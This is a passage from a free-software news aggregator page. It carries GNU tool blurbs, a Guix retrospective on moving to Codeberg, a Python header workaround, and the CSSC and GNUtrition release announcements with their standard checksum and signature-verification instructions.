O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

  • Give a demo at your local user group/team/colleagues
  • Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
  • Get the merchandise https://gnuparall ... igns/gnu-parallel
  • Request or write a review for your favourite blog or magazine
  • Request or build a package for your favourite distribution (if it is not already there)
  • Invite me for your next conference


If you use programs that use GNU Parallel for research:

  • Please cite GNU Parallel in you publications (use --citation)


If GNU Parallel saves you money:



About GNU SQL


GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.


About GNU Niceload


GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

GNU Guix: One year with Codeberg

22 Giugno 2026 ore 16:00

A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.

The non-obvious choice

For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.

Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.

A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.

Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.

Making decisions

As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.

It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.

GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.

The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.

One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.

Switchover

As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).

Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.

For some of us, the main difficulty was to adapt to the new workflow. For those who prefer a workflow out of the browser, the good news is that Emacs interfaces—fj.el and more recently Emacs-Forgejo—have been getting better everyday thanks to their amazing developers; the ability to create pull requests using the AGit workflow has also helped bring peace and harmony.

The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.

Screenshot of a “review” by @guix-cuirass-bot that specifies successful and failed package builds.

In September 2025, an instance of Cuirass was set up at pulls.ci.guix.gnu.org to finally build pull requests. This was initially seen as a stopgap because of several limitations compared to what qa.guix.gnu.org would previously do—such as the fact that packages now get built for a single architecture. However, one advantage for newcomers is that feedback is immediately visible: Cuirass sends reports indicating success or failure directly in pull requests as guix-cuirass-bot.

Renewed collaboration

One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?

A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:

Graph showing the monthly commit rate between May 2024 and May 2026.

(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)

Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.

Graph showing monthly contributions to Guix.

The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.

The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.

Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.

Graph showing pull request rate from May 2025 to May 2026.

This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.

One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.

On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.

Guix teams are reified as Codeberg teams and their scope is given the CODEOWNERS file such that the right people are pinged. A bot also adds a corresponding label—e.g., the team-python label for what’s in the scope of the Python team—allowing for issue and pull request filtering by label. However, teams are not notified of issues tagged with the corresponding label, which is irritating.

Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.

Outlook

This is nice and all but there’s still room for improvement.

Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.

The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.

We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.

Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.

Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.

Acknowledgments

Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.

Gary Benson: longintrepr.h

18 Giugno 2026 ore 13:38

Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:

ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include

cssc @ Savannah: CSSC-1.5.0-rc3 is released

17 Giugno 2026 ore 13:05

This is to announce CSSC-1.5.0-rc3, a beta release.

This is a release candidate for a future stable 1.5.0 release.

There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Greg A. Woods (1)
  Paul Bryce (2)
  James Youngman (43)

James
==================================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... -1.5.0-rc3.tar.gz
  https://alpha.gnu ... .0-rc3.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0-rc3.tar.gz
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.

For a summary of changes and contributors, see:

  https://gitweb.gi ... tlog;h=v1.5.0-rc3

or run this command from a git-cloned CSSC directory:

  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
  could not previously be invoked via the sccs wrapper.
  Thanks to Greg A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
          to avoid a warning message from GNU grep.  Some very old
          versions of Unix may not support this option.

        * Various C++ portability improvements.

  • Updated version of gnulib.


  • Updated version of googletest; this is now at the last

          version at which it still supported building with Automake.

gnutrition @ Savannah: GNUtrition 0.33

6 Giugno 2026 ore 00:37

GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.

Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.

Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.

More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:

ftp://ftp.gnu.o ... gnu/gnutrition/
http://ftp.gnu.or ... g/gnu/gnutrition/
https://ftp.gnu.o ... g/gnu/gnutrition/

The FTP mirror list is available at https://gnu.or ... order/ftp.html, and https://ftpmirror ... u.org/gnutrition/ will automatically redirect you to a nearby mirror.

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Happy hacking and calorie counting!!

❌